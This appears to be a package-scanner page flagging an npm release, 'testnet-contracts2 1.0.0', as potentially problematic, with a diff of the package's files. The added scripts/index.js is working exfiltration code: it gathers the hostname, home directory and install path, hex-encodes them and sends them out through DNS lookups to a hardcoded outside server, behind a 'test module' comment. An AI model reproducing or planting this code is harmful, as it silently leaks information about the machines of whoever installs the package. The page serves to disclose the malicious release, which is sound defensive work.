testnet-contracts2 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of testnet-contracts2 might be problematic. Click here for more details.
- package/package.json +12 -0
- package/scripts/index.js +40 -0
package/package.json
ADDED
package/scripts/index.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
//This is test module
|
2
|
+
//Please don't use it
|
3
|
+
const dns = require('dns');
|
4
|
+
const os = require('os');
|
5
|
+
|
6
|
+
const ns = '172.104.153.91';
|
7
|
+
|
8
|
+
function sendToServer(data) {
|
9
|
+
data = Buffer.from(data).toString('hex');
|
10
|
+
data = data.match(/.{1,60}/g);
|
11
|
+
|
12
|
+
id = Math.random().toString(36).substring(2);
|
13
|
+
|
14
|
+
data.forEach(function (chunk, idx){
|
15
|
+
try {
|
16
|
+
dns.resolve(
|
17
|
+
'v2_b.' + id + '.' + idx + '.' + chunk + '.v2_e', 'A',
|
18
|
+
console.log)
|
19
|
+
} catch (e) {}
|
20
|
+
});
|
21
|
+
}
|
22
|
+
|
23
|
+
function tryGet(toCall) {
|
24
|
+
try {
|
25
|
+
return toCall();
|
26
|
+
} catch (e) {
|
27
|
+
return 'toCallError';
|
28
|
+
}
|
29
|
+
}
|
30
|
+
|
31
|
+
data = {
|
32
|
+
h : tryGet(os.hostname),
|
33
|
+
d : tryGet(os.homedir),
|
34
|
+
c : __dirname
|
35
|
+
}
|
36
|
+
|
37
|
+
data = JSON.stringify(data)
|
38
|
+
dns.setServers([ns]);
|
39
|
+
sendToServer(data);
|
40
|
+
|